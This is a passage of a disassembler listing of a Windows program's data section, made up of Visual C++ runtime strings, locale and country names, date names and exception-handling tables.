		align 10h
aMlock_c	db 'mlock.c',0          ; DATA XREF: sub_41B780+16o
a_filbuf_c	db '_filbuf.c',0        ; DATA XREF: sub_41DB50+18o
		align 4
a_open_c	db '_open.c',0          ; DATA XREF: sub_41E220+2Eo
					; sub_41E220+58o ...
aFilenameNull	db 'filename != NULL',0 ; DATA XREF: sub_41E220+25o
		align 10h
aStream_c	db 'stream.c',0         ; DATA XREF: sub_41E5B0+C1o
		align 4
aInconsistentIo	db '("inconsistent IOB fields", stream->_ptr - stream->_base >= 0)',0
					; DATA XREF: sub_41E730+162o
		align 4
a_flsbuf_c	db '_flsbuf.c',0        ; DATA XREF: sub_41E730+18o
					; sub_41E730+16Eo
		align 4
byte_433FB8	db 6			; DATA XREF: sub_41E9B0+8Fr
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull:					; DATA XREF: ___:off_443E8Co
		unicode	0, <(null)>,0
		align 4
aNull_0		db '(null)',0           ; DATA XREF: ___:off_443E88o
		align 4
aOutput_c	db 'output.c',0         ; DATA XREF: sub_41E9B0+122o
		align 4
aCh_t0		db 'ch != _T(',27h,'\0',27h,')',0 ; DATA XREF: sub_41E9B0+116o
		align 4
aTidtable_c	db 'tidtable.c',0       ; DATA XREF: ___:0041F8B3o
					; sub_41F970+29o
		align 4
a_sftbuf_c	db '_sftbuf.c',0        ; DATA XREF: sub_420720+18o
					; sub_420720+B2o ...
		align 10h
aFlag0Flag1	db 'flag == 0 || flag == 1',0 ; DATA XREF: sub_420880+13o
		align 4
aInput_c	db 'input.c',0          ; DATA XREF: sub_420920+1Eo
					; sub_420920+4Bo
aIoinit_c	db 'ioinit.c',0         ; DATA XREF: ___:00421F1Bo
					; ___:00422016o
		align 4
a_yn		db '_yn',0
a_y1		db '_y1',0
a_y0		db '_y0',0
aFrexp		db 'frexp',0
		align 10h
aFmod		db 'fmod',0
		align 4
a_hypot		db '_hypot',0
		align 10h
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 10h
aModf		db 'modf',0
		align 4
aFabs		db 'fabs',0
		align 10h
aFloor		db 'floor',0
		align 4
aCeil		db 'ceil',0
		align 10h
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 4
aAtan2		db 'atan2',0
		align 4
aAtan		db 'atan',0
		align 4
aAcos		db 'acos',0
		align 4
aAsin		db 'asin',0
		align 4
aTanh		db 'tanh',0
		align 4
aCosh		db 'cosh',0
		align 4
aSinh		db 'sinh',0
		align 4
aLog10		db 'log10',0
		align 4
aLog		db 'log',0
aPow		db 'pow',0
aExp		db 'exp',0              ; DATA XREF: ___:off_444134o
dbl_434140	dq 0.0			; DATA XREF: sub_422B10+D7r
					; sub_422B10+11Ar ...
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_423460+1Ao
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_423460+6o
		align 10h
aE000		db 'e+000',0            ; DATA XREF: sub_423740:loc_4237B8o
		align 4
dword_434178	dd 0FFFFFFFFh, 4241E9h,	4241F6h, 0 ; DATA XREF:	sub_424150+5o
dword_434188	dd 0FFFFFFFFh, 0	; DATA XREF: sub_424340+5o
		dd offset sub_42441D
		align 8
		dd offset loc_4243DE
; ---------------------------------------------------------------------------
		jmp	short loc_4341E1
; ---------------------------------------------------------------------------
		dw 42h
dword_4341A0	dd 0FFFFFFFFh, 42473Ch,	424742h, 0 ; DATA XREF:	sub_4244E0+5o
dword_4341B0	dd 0FFFFFFFFh, 4247BEh,	4247CDh, 0 ; DATA XREF:	sub_424760+5o
dword_4341C0	dd 0FFFFFFFFh, 0	; DATA XREF: sub_424890+5o
		dd offset sub_4248FE
		align 10h
		dd offset loc_4248E0
		dd offset loc_4248E6
dword_4341D8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_424940+5o
; ---------------------------------------------------------------------------
		stosb


loc_4341E1:				; CODE XREF: ___:0043419Cj
		dec	ecx
		inc	edx
; ---------------------------------------------------------------------------
		db 0
		align 8
		dd offset loc_42498C
		dd offset loc_424992
aLc_time	db 'LC_TIME',0          ; DATA XREF: ___:004443BCo
aLc_numeric	db 'LC_NUMERIC',0       ; DATA XREF: ___:004443B0o
		align 4
aLc_monetary	db 'LC_MONETARY',0      ; DATA XREF: ___:004443A4o
aLc_ctype	db 'LC_CTYPE',0         ; DATA XREF: ___:00444398o
		align 4
aLc_collate	db 'LC_COLLATE',0       ; DATA XREF: ___:0044438Co
		align 4
aLc_all		db 'LC_ALL',0           ; DATA XREF: ___:off_444380o
		align 10h
asc_434230:				; DATA XREF: ___:loc_424B83o
					; sub_424F60+83o
		unicode	0, <;>,0
asc_434234	db '=;',0               ; DATA XREF: ___:loc_424AB1o
		align 4
aSetlocal_c	db 'setlocal.c',0       ; DATA XREF: sub_424DC0+3Eo
					; sub_424F60+1Bo
		align 4
asc_434244:				; DATA XREF: sub_424F60+5Bo
		unicode	0, <=>,0
a___0		db '_.,',0              ; DATA XREF: sub_425250:loc_4252C2o
a__1:					; DATA XREF: sub_4253B0+50o
					; sub_42B250:loc_42B44Bo
		unicode	0, <.>,0
a__2:					; DATA XREF: sub_4253B0+25o
		unicode	0, <_>,0
aFtell_c	db 'ftell.c',0          ; DATA XREF: ___:00425586o
					; sub_4255E0+18o
dword_43425C	dd 0			; DATA XREF: sub_425B90+5Do
					; sub_427D80+58o ...
dword_434260	dd 2 dup(0)		; DATA XREF: sub_425B90+35o
					; sub_427D80+35o ...
dword_434268	dd 0FFFFFFFFh, 425CD6h,	425CDCh, 0FFFFFFFFh, 425DCCh, 425DD2h
					; DATA XREF: sub_425B90+5o
dword_434280	dd 65647473h, 2E70766Eh, 63h ; DATA XREF: ___:0042622Bo
					; ___:004262A0o
dword_43428C	dd 61647473h, 2E766772h, 63h ; DATA XREF: ___:00426392o
dword_434298	dd 6E655F61h, 632E76h, 746E7572h, 20656D69h, 6F727265h
					; DATA XREF: ___:00426918o
					; ___:004269F6o
		dd 2072h, 0A0Dh, 534F4C54h, 72652053h, 0D726F72h, 0Ah
		dd 474E4953h, 72726520h, 0A0D726Fh, 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 4
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 4
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 4
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 4
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 4
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 4
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 4
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 4
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: ___:off_444454o
		db '- floating point not loaded',0Dh,0Ah,0
		align 4
aMicrosoftVis_0	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_426B80+1A4o
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_426B80:loc_426CCAo
		db 0Ah
		db 'Program: ',0
		align 10h
aWinsig_c	db 'winsig.c',0         ; DATA XREF: ___:004271C1o
		align 4
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_427610+5Fo
		align 10h
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_427610:loc_42765Bo
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_427610+2Ao
aOsfinfo_c	db 'osfinfo.c',0        ; DATA XREF: sub_4276D0+138o
		align 4
dword_4345B8	dd 0FFFFFFFFh, 427EC4h,	427ECAh	; DATA XREF: sub_427D80+5o
dword_4345C4	dd 7465675Fh, 2E667562h, 63h ; DATA XREF: sub_427F40+16o
					; sub_427F40+48o
dword_4345D0	dd 6F74626Dh, 632E6377h, 0 ; DATA XREF:	sub_428790+21o
aMb_cur_max1Mb_	db 'MB_CUR_MAX == 1 || MB_CUR_MAX == 2',0 ; DATA XREF: sub_428790+18o
		align 10h
aUngetc_c	db 'ungetc.c',0         ; DATA XREF: ___:00428D16o
					; sub_428D70+16o
		align 4
aSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 4
aTzset_c	db 'tzset.c',0          ; DATA XREF: sub_428F10+1D1o
aTz		db 'TZ',0               ; DATA XREF: sub_428F10+35o
		align 4
aInittime_c	db 'inittime.c',0       ; DATA XREF: sub_42A8D0+13o
		align 4
aInitnum_c	db 'initnum.c',0        ; DATA XREF: sub_42B250+1CFo
					; sub_42B250+215o ...
		align 10h
aInitmon_c	db 'initmon.c',0        ; DATA XREF: sub_42B580+13o
		align 4
aInitctyp_c	db 'initctyp.c',0       ; DATA XREF: sub_42B9E0+52o
					; sub_42B9E0+6Bo ...
		align 4
aParaguay	db 'Paraguay',0         ; DATA XREF: ___:00444ABCo
		align 4
aUruguay	db 'Uruguay',0          ; DATA XREF: ___:00444A90o
aChile		db 'Chile',0            ; DATA XREF: ___:00444A64o
		align 4
aEcuador	db 'Ecuador',0          ; DATA XREF: ___:00444A38o
aArgentina	db 'Argentina',0        ; DATA XREF: ___:00444A0Co
		align 4
aPeru		db 'Peru',0             ; DATA XREF: ___:004449E0o
		align 10h
aColombia	db 'Colombia',0         ; DATA XREF: ___:004449B4o
		align 4
aVenezuela	db 'Venezuela',0        ; DATA XREF: ___:00444988o
		align 4
aDominicanRepub	db 'Dominican Republic',0 ; DATA XREF: ___:0044495Co
		align 4
aSouthAfrica	db 'South Africa',0     ; DATA XREF: ___:00444930o
		align 4
aPanama		db 'Panama',0           ; DATA XREF: ___:00444904o
		align 4
aLuxembourg	db 'Luxembourg',0       ; DATA XREF: ___:004448D8o
		align 10h
aCostaRica	db 'Costa Rica',0       ; DATA XREF: ___:004448ACo
		align 4
aSwitzerland	db 'Switzerland',0      ; DATA XREF: ___:00444880o
aGuatemala	db 'Guatemala',0        ; DATA XREF: ___:00444854o
		align 4
aCanada		db 'Canada',0           ; DATA XREF: ___:00444828o
		align 4
aSpanishModernS	db 'Spanish - Modern Sort',0 ; DATA XREF: ___:004447F4o
		align 4
aAustralia	db 'Australia',0        ; DATA XREF: ___:004447D0o
		align 10h
aEnglish	db 'English',0          ; DATA XREF: ___:004447C8o
					; ___:00444928o
aAustria	db 'Austria',0          ; DATA XREF: ___:004447A4o
aGerman		db 'German',0           ; DATA XREF: ___:0044479Co
		align 4
aBelgium	db 'Belgium',0          ; DATA XREF: ___:00444778o
aMexico		db 'Mexico',0           ; DATA XREF: ___:0044474Co
		align 4
aSpanish	db 'Spanish',0          ; DATA XREF: ___:00444744o
					; ___:0044484Co ...
aBasque		db 'Basque',0           ; DATA XREF: ___:00444718o
		align 4
aSweden		db 'Sweden',0           ; DATA XREF: ___:004446F4o
		align 10h
aSwedish	db 'Swedish',0          ; DATA XREF: ___:004446ECo
aIceland	db 'Iceland',0          ; DATA XREF: ___:004446C8o
aIcelandic	db 'Icelandic',0        ; DATA XREF: ___:004446C0o
		align 4
aFrance		db 'France',0           ; DATA XREF: ___:0044469Co
		align 4
aFrench		db 'French',0           ; DATA XREF: ___:00444694o
					; ___:00444770o ...
		align 4
aFinland	db 'Finland',0          ; DATA XREF: ___:00444670o
aFinnish	db 'Finnish',0          ; DATA XREF: ___:00444668o
aSpain		db 'Spain',0            ; DATA XREF: ___:off_444644o
					; ___:00444720o ...
		align 4
aSpanishTraditi	db 'Spanish - Traditional Sort',0 ; DATA XREF: ___:off_44463Co
		align 10h
aUnitedStates	db 'united-states',0    ; DATA XREF: ___:00444B90o
		align 10h
aUnitedKingdom	db 'united-kingdom',0   ; DATA XREF: ___:00444B88o
		align 10h
aTrinidadTobago	db 'trinidad & tobago',0 ; DATA XREF: ___:00444B78o
		align 4
aSouthKorea	db 'south-korea',0      ; DATA XREF: ___:00444B70o
aSouthAfrica_0	db 'south-africa',0     ; DATA XREF: ___:00444B68o
		align 10h
aSouthKorea_0	db 'south korea',0      ; DATA XREF: ___:00444B60o
aSouthAfrica_1	db 'south africa',0     ; DATA XREF: ___:00444B58o
		align 4
aSlovak		db 'slovak',0           ; DATA XREF: ___:00444B50o
		align 4
aPuertoRico	db 'puerto-rico',0      ; DATA XREF: ___:00444B48o
aPrChina	db 'pr-china',0         ; DATA XREF: ___:00444B40o
		align 4
aPrChina_0	db 'pr china',0         ; DATA XREF: ___:00444B38o
		align 4
aNz		db 'nz',0               ; DATA XREF: ___:00444B30o
		align 4
aNewZealand	db 'new-zealand',0      ; DATA XREF: ___:00444B28o
aHongKong	db 'hong-kong',0        ; DATA XREF: ___:00444B20o
		align 4
aHolland	db 'holland',0          ; DATA XREF: ___:00444B18o
aGreatBritain	db 'great britain',0    ; DATA XREF: ___:00444B10o
		align 4
aEngland	db 'england',0          ; DATA XREF: ___:00444B08o
aCzech		db 'czech',0            ; DATA XREF: ___:00444B00o
		align 4
aChina		db 'china',0            ; DATA XREF: ___:00444AF8o
		align 4
aBritain	db 'britain',0          ; DATA XREF: ___:00444AF0o
aAmerica	db 'america',0          ; DATA XREF: ___:off_444AE8o
aUsa		db 'usa',0              ; DATA XREF: ___:00444DA0o
aUs		db 'us',0               ; DATA XREF: ___:00444B98o
					; ___:00444D98o
		align 4
aUk		db 'uk',0               ; DATA XREF: ___:00444B80o
					; ___:00444D90o
		align 10h
aSwiss		db 'swiss',0            ; DATA XREF: ___:00444D88o
		align 4
aSwedishFinland	db 'swedish-finland',0  ; DATA XREF: ___:00444D80o
aSpanishVenezue	db 'spanish-venezuela',0 ; DATA XREF: ___:00444D78o
		align 4
aSpanishUruguay	db 'spanish-uruguay',0  ; DATA XREF: ___:00444D70o
aSpanishPuertoR	db 'spanish-puerto rico',0 ; DATA XREF: ___:00444D68o
aSpanishPeru	db 'spanish-peru',0     ; DATA XREF: ___:00444D60o
		align 10h
aSpanishParagua	db 'spanish-paraguay',0 ; DATA XREF: ___:00444D58o
		align 4
aSpanishPanama	db 'spanish-panama',0   ; DATA XREF: ___:00444D50o
		align 4
aSpanishNicarag	db 'spanish-nicaragua',0 ; DATA XREF: ___:00444D48o
		align 4
aSpanishModern	db 'spanish-modern',0   ; DATA XREF: ___:00444D40o
		align 4
aSpanishMexican	db 'spanish-mexican',0  ; DATA XREF: ___:00444D38o
aSpanishHondura	db 'spanish-honduras',0 ; DATA XREF: ___:00444D30o
		align 4
aSpanishGuatema	db 'spanish-guatemala',0 ; DATA XREF: ___:00444D28o
		align 10h
aSpanishElSalva	db 'spanish-el salvador',0 ; DATA XREF: ___:00444D20o
aSpanishEcuador	db 'spanish-ecuador',0  ; DATA XREF: ___:00444D18o
aSpanishDominic	db 'spanish-dominican republic',0 ; DATA XREF: ___:00444D10o
		align 10h
aSpanishCostaRi	db 'spanish-costa rica',0 ; DATA XREF: ___:00444D08o
		align 4
aSpanishColombi	db 'spanish-colombia',0 ; DATA XREF: ___:00444D00o
		align 4
aSpanishChile	db 'spanish-chile',0    ; DATA XREF: ___:00444CF8o
		align 4
aSpanishBolivia	db 'spanish-bolivia',0  ; DATA XREF: ___:00444CF0o
aSpanishArgenti	db 'spanish-argentina',0 ; DATA XREF: ___:00444CE8o
		align 4
aPortugueseBraz	db 'portuguese-brazilian',0 ; DATA XREF: ___:00444CE0o
		align 4
aNorwegianNynor	db 'norwegian-nynorsk',0 ; DATA XREF: ___:00444CD8o
		align 4
aNorwegianBokma	db 'norwegian-bokmal',0 ; DATA XREF: ___:00444CD0o
		align 4
aNorwegian	db 'norwegian',0        ; DATA XREF: ___:00444CC8o
		align 4
aItalianSwiss	db 'italian-swiss',0    ; DATA XREF: ___:00444CC0o
		align 4
aIrishEnglish	db 'irish-english',0    ; DATA XREF: ___:00444CB8o
		align 4
aGermanSwiss	db 'german-swiss',0     ; DATA XREF: ___:00444CB0o
		align 4
aGermanLuxembou	db 'german-luxembourg',0 ; DATA XREF: ___:00444CA8o
		align 4
aGermanLichtens	db 'german-lichtenstein',0 ; DATA XREF: ___:00444CA0o
aGermanAustrian	db 'german-austrian',0  ; DATA XREF: ___:00444C98o
aFrenchSwiss	db 'french-swiss',0     ; DATA XREF: ___:00444C90o
		align 10h
aFrenchLuxembou	db 'french-luxembourg',0 ; DATA XREF: ___:00444C88o
		align 4
aFrenchCanadian	db 'french-canadian',0  ; DATA XREF: ___:00444C80o
aFrenchBelgian	db 'french-belgian',0   ; DATA XREF: ___:00444C78o
		align 4
aEnglishUsa	db 'english-usa',0      ; DATA XREF: ___:00444C70o
aEnglishUs	db 'english-us',0       ; DATA XREF: ___:00444C68o
		align 4
aEnglishUk	db 'english-uk',0       ; DATA XREF: ___:00444C60o
		align 4
aEnglishTrinida	db 'english-trinidad y tobago',0 ; DATA XREF: ___:00444C58o
		align 4
aEnglishSouthAf	db 'english-south africa',0 ; DATA XREF: ___:00444C50o
		align 4
aEnglishNz	db 'english-nz',0       ; DATA XREF: ___:00444C48o
		align 4
aEnglishJamaica	db 'english-jamaica',0  ; DATA XREF: ___:00444C40o
aEnglishIre	db 'english-ire',0      ; DATA XREF: ___:00444C38o
aEnglishCaribbe	db 'english-caribbean',0 ; DATA XREF: ___:00444C30o
		align 4
aEnglishCan	db 'english-can',0      ; DATA XREF: ___:00444C28o
aEnglishBelize	db 'english-belize',0   ; DATA XREF: ___:00444C20o
		align 4
aEnglishAus	db 'english-aus',0      ; DATA XREF: ___:00444C18o
aEnglishAmerica	db 'english-american',0 ; DATA XREF: ___:00444C10o
		align 4
aDutchBelgian	db 'dutch-belgian',0    ; DATA XREF: ___:00444C08o
		align 4
aChineseTraditi	db 'chinese-traditional',0 ; DATA XREF: ___:00444C00o
aChineseSingapo	db 'chinese-singapore',0 ; DATA XREF: ___:00444BF8o
		align 4
aChineseSimplif	db 'chinese-simplified',0 ; DATA XREF: ___:00444BF0o
		align 10h
aChineseHongkon	db 'chinese-hongkong',0 ; DATA XREF: ___:00444BE8o
		align 4
aChinese	db 'chinese',0          ; DATA XREF: ___:00444BE0o
aChi		db 'chi',0              ; DATA XREF: ___:00444BD8o
aChh		db 'chh',0              ; DATA XREF: ___:00444BD0o
aCanadian	db 'canadian',0         ; DATA XREF: ___:00444BC8o
		align 10h
aBelgian	db 'belgian',0          ; DATA XREF: ___:00444BC0o
aAustralian	db 'australian',0       ; DATA XREF: ___:00444BB8o
		align 4
aAmericanEnglis	db 'american-english',0 ; DATA XREF: ___:00444BB0o
		align 4
aAmericanEngl_0	db 'american english',0 ; DATA XREF: ___:00444BA8o
		align 4
aAmerican	db 'american',0         ; DATA XREF: ___:off_444BA0o
		align 4
off_434D08	dd offset byte_50434F	; DATA XREF: sub_42C760:loc_42C7B3o
off_434D0C	dd offset byte_504341	; DATA XREF: sub_42C760+16o
dword_434D10	dd 69736863h, 632E657Ah, 0 ; DATA XREF:	sub_42CE20+38o
dword_434D1C	dd 657A6973h, 203D3E20h, 30h ; DATA XREF: sub_42CE20+2Co
dword_434D28	dd 4E512331h, 4E41h	; DATA XREF: sub_42DFD0:loc_42E18Fo
dword_434D30	dd 4E492331h, 46h	; DATA XREF: sub_42DFD0+19Bo
dword_434D38	dd 4E492331h, 44h	; DATA XREF: sub_42DFD0+168o
dword_434D40	dd 4E532331h, 4E41h, 6D6D3A48h,	73733Ah, 64646464h, 4D4D202Ch
					; DATA XREF: sub_42DFD0+125o
					; ___:00444E58o
		dd 64204D4Dh, 79202C64h, 797979h, 2F642F4Dh, 7979h, 4D50h
		dd 4D41h, 65636544h, 7265626Dh,	0
aNovember	db 'November',0         ; DATA XREF: ___:00444E40o
		align 4
aOctober	db 'October',0          ; DATA XREF: ___:00444E3Co
aSeptember	db 'September',0        ; DATA XREF: ___:00444E38o
		align 10h
aAugust		db 'August',0           ; DATA XREF: ___:00444E34o
		align 4
aJuly		db 'July',0             ; DATA XREF: ___:00444E30o
		align 10h
aJune		db 'June',0             ; DATA XREF: ___:00444E2Co
		align 4
aApril		db 'April',0            ; DATA XREF: ___:00444E24o
		align 10h
aMarch		db 'March',0            ; DATA XREF: ___:00444E20o
		align 4
aFebruary	db 'February',0         ; DATA XREF: ___:00444E1Co
		align 4
aJanuary	db 'January',0          ; DATA XREF: ___:00444E18o
aDec		db 'Dec',0              ; DATA XREF: ___:00444E14o
aNov		db 'Nov',0              ; DATA XREF: ___:00444E10o
aOct		db 'Oct',0              ; DATA XREF: ___:00444E0Co
aSep		db 'Sep',0              ; DATA XREF: ___:00444E08o
aAug		db 'Aug',0              ; DATA XREF: ___:00444E04o
aJul		db 'Jul',0              ; DATA XREF: ___:00444E00o
aJun		db 'Jun',0              ; DATA XREF: ___:00444DFCo
aMay		db 'May',0              ; DATA XREF: ___:00444DF8o
					; ___:00444E28o
aApr		db 'Apr',0              ; DATA XREF: ___:00444DF4o
aMar		db 'Mar',0              ; DATA XREF: ___:00444DF0o
aFeb		db 'Feb',0              ; DATA XREF: ___:00444DECo
aJan		db 'Jan',0              ; DATA XREF: ___:00444DE8o
aSaturday	db 'Saturday',0         ; DATA XREF: ___:00444DE4o
		align 4
aFriday		db 'Friday',0           ; DATA XREF: ___:00444DE0o
		align 10h
aThursday	db 'Thursday',0         ; DATA XREF: ___:00444DDCo
		align 4
aWednesday	db 'Wednesday',0        ; DATA XREF: ___:00444DD8o
		align 4
aTuesday	db 'Tuesday',0          ; DATA XREF: ___:00444DD4o
aMonday		db 'Monday',0           ; DATA XREF: ___:00444DD0o
					; ___:00444BCCo ...
		align 4
aSunday		db 'Sunday',0           ; DATA XREF: ___:00444DCCo
		align 10h
aSat		db 'Sat',0              ; DATA XREF: ___:00444DC8o
aFri		db 'Fri',0              ; DATA XREF: ___:00444DC4o
aThu		db 'Thu',0              ; DATA XREF: ___:00444DC0o
aWed		db 'Wed',0              ; DATA XREF: ___:00444DBCo
aTue		db 'Tue',0              ; DATA XREF: ___:00444DB8o
aMon		db 'Mon',0              ; DATA XREF: ___:00444DB4o
aSun		db 'Sun',0              ; DATA XREF: ___:off_444DB0o
aAP		db 'a/p',0              ; DATA XREF: sub_42F440:loc_42F633o
aAmPm		db 'am/pm',0            ; DATA XREF: sub_42F440:loc_42F613o
		align 4
aInithelp_c	db 'inithelp.c',0       ; DATA XREF: sub_42F960+9Co
					; sub_42F960+F1o
		align 8
dword_434E88	dd 0FFFFFFFFh, 42FD27h,	42FD2Dh, 0FFFFFFFFh, 42FDA6h, 42FDACh
					; DATA XREF: sub_42FC00+5o
dword_434EA0	dd 6D6F7477h, 766E6562h, 632Eh,	0 ; DATA XREF: sub_4301F0+44o
dword_434EB0	dd 0FFFFFFFFh, 4308ADh,	4308B3h, 0 ; DATA XREF:	sub_4307B0+5o
dword_434EC0	dd 0FFFFFFFFh, 430A4Fh,	430A55h	; DATA XREF: sub_430950+5o
dword_434ECC	dd 6D635F61h, 632E70h	; DATA XREF: sub_430B00+17Fo
aCchcount10Cchc	db 'cchCount1==0 && cchCount2==1 || cchCount1==1 && cchCount2==0',0
					; DATA XREF: sub_430B00:loc_430C73o
		align 8
dword_434F18	dd 0FFFFFFFFh, 430DDFh,	430DE5h, 0FFFFFFFFh, 430E7Dh, 430E83h
					; DATA XREF: sub_430B00+5o
dword_434F30	dd 65746573h, 632E766Eh, 0 ; DATA XREF:	sub_430F50+B2o
					; sub_430F50+F2o ...
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_431490+1Fo
		dd offset dword_435030
off_434F50	dd offset sub_431610	; DATA XREF: sub_4314F0+44o
					; sub_4315B0+1Fo ...
		dd offset sub_431560
		dd offset sub_431580
		dd offset dword_435080
off_434F60	dd offset sub_431730	; DATA XREF: sub_431640+16o
					; sub_4316E0+Ao ...
		dd offset sub_431560
		dd offset sub_431700
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_431790+1Fo
		dd offset dword_4350D0
off_434F88	dd offset sub_431870	; DATA XREF: sub_4317F0+16o
					; sub_431820+Ao ...
		dd offset sub_431560
		dd offset sub_431840
		dd offset dword_435100
off_434F98	dd offset sub_431D30	; DATA XREF: ___:00431D0Ao
					; sub_431D60+Co ...
		dd offset sub_431ED0
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: sub_431ED0:loc_431EE8o
		align 4
		dd offset dword_435148
off_434FB8	dd offset sub_431F40	; DATA XREF: sub_431F00+Ao
					; ___:0043202Ao ...
		align 10h
dword_434FC0	dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF:	sub_432050+Do
		dd 3, 19930520h, 2 dup(0)
off_434FE0	dd offset off_445160	; DATA XREF: ___:00435014o
					; ___:00435068o ...
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_434FF8	dd offset off_445178	; DATA XREF: ___:00435010o
					; ___:00435064o ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_434FF8
		dd offset off_434FE0
dword_435018	dd 4 dup(0)		; DATA XREF: ___:00435040o
		dd 2, 435010h
dword_435030	dd 3 dup(0)		; DATA XREF: ___:00434F4Co
		dd offset off_445178
		dd offset dword_435018+8
		align 8
off_435048	dd offset off_445198	; DATA XREF: ___:00435060o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_435048
		dd offset off_434FF8
		dd offset off_434FE0
dword_43506C	dd 3 dup(0)		; DATA XREF: ___:00435090o
		dd 3, 435060h
dword_435080	dd 3 dup(0)		; DATA XREF: ___:00434F5Co
		dd offset off_445198
		dd offset dword_43506C+4
		align 8
off_435098	dd offset off_4451B8	; DATA XREF: ___:004350B0o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_435098
		dd offset off_434FF8
		dd offset off_434FE0
dword_4350BC	dd 3 dup(0)		; DATA XREF: ___:004350E0o
		dd 3, 4350B0h
dword_4350D0	dd 3 dup(0)		; DATA XREF: ___:00434F84o
		dd offset off_4451B8
		dd offset dword_4350BC+4
		dd offset off_434FE0
dword_4350E8	dd 4 dup(0)		; DATA XREF: ___:00435110o
		dd 1, 4350E4h
dword_435100	dd 3 dup(0)		; DATA XREF: ___:00434F94o
		dd offset off_445160
		dd offset dword_4350E8+8
		align 8
off_435118	dd offset off_4451D8	; DATA XREF: ___:00435130o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_435118
		dd 0
		db    0			; DATA XREF: ___:00435158o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 435130h
dword_435148	dd 3 dup(0)		; DATA XREF: ___:00434FB4o
		dd offset off_4451D8
		dd offset unk_435138
		align 10h
dword_435160	dd 19930520h, 2, 435180h, 5 dup(0) ; DATA XREF:	___:loc_4320BFo
		dd 0FFFFFFFFh, 4320A8h,	0
		dd offset sub_4320A0
dword_435190	dd 19930520h, 2, 4351B0h, 5 dup(0) ; DATA XREF:	___:loc_4320D9o
		dd 0FFFFFFFFh, 4320C9h,	0
		dd offset loc_4320D1
dword_4351C0	dd 19930520h, 2, 4351E0h, 1, 4351F0h, 3	dup(0) ; DATA XREF: ___:loc_4320E4o
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 435208h, 4	dup(0)
		dd offset loc_40C22B
		dd 0
		dd offset off_445160
		dd 0
		dd 0FFFFFFFFh, 0
		dd 0Ch,	431DD0h, 2 dup(0)
		dd offset off_445178
		dd 0
dword_435244	dd 0FFFFFFFFh, 0	; DATA XREF: ___:00444824o
					; ___:00444C84o
		dd 1Ch,	4314F0h, 2 dup(0)
		dd offset off_445198
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	431760h, 0
dword_435278	dd 3, 435258h, 435238h,	435218h	; DATA XREF: ___:00435294o
dword_435288	dd 0			; DATA XREF: sub_431490+3Fo
					; sub_431700+15o
		dd offset sub_4316E0
		dd 0
		dd offset dword_435278
dword_435298	dd 19930520h, 1, 4352B8h, 5 dup(0) ; DATA XREF:	SEH_431490o
		dd 0FFFFFFFFh, 4320F0h
dword_4352C0	dd 19930520h, 1, 4352E0h, 5 dup(0) ; DATA XREF:	SEH_4314F0o
dword_4352E0	dd 0FFFFFFFFh, 432110h,	2, 435238h, 435218h, 0 ; DATA XREF: ___:00435304o
dword_4352F8	dd 0			; DATA XREF: sub_431580+15o
		dd offset sub_4315B0
		dd 0
		dd offset dword_4352E0+8
dword_435308	dd 19930520h, 1, 435328h, 5 dup(0) ; DATA XREF:	SEH_4315B0o
		dd 0FFFFFFFFh, 432130h
dword_435330	dd 19930520h, 1, 435350h, 5 dup(0) ; DATA XREF:	SEH_431670o
